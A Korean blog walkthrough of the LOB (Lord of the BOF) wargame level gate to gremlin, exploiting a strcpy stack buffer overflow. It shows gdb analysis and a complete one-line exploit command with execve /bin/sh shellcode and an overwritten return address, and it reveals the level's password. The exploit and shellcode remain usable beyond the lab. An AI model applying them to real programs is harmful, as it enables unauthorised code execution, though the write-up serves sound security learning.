728x90
1. gate/gate로 로그인
2. gremlin.c 파일 내용 확인
buffer에 256바이트가 할당되어 있고, strcpy함수를 이용해 argv[1]을 buffer에 복사하는 코드이다.
3. 권한이 없으므로 gremlin을 gremcop으로 복사
4. gdb로 gremcop 실행, main함수 어셈블리 코드 확인
<main+62>에 buffer가 있고, buffer는 EBP-256에 위치해있다.
buffer에 더미 데이터로 260바이트를 채우고, return address에 buffer의 시작 주소를 넣으면 될 것 같다.
5. <main+59>에 breakpoint 설정 후 dummy값을 넣어줌
breakpoint에서 멈춘 것을 확인할 수 있다.
6. esp 확인
"A"가 잘 들어갔고, buffer의 시작 주소가 0xbffff918인 것을 알 수 있다.
7. 공격코드 구성
공격코드는 쉘코드(24byte)+dummy(260-24=236byte)+buffer시작주소(4byte)로 구성했다.
./gremlin `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "A" * 236 + "\x18\xf9\xff\xbf"'`
8. 비밀번호 획득
비밀번호: hello bof world
728x90
'SYSTEM > LOB' 카테고리의 다른 글
[LOB] wolfman → darkelf (0) | 2021.03.14 |
---|---|
[LOB] orc → wolfman (0) | 2021.03.14 |
[LOB] goblin → orc (0) | 2021.03.14 |
[LOB] cobolt → goblin (0) | 2021.03.04 |
[LOB] gremlin → cobolt (0) | 2021.03.04 |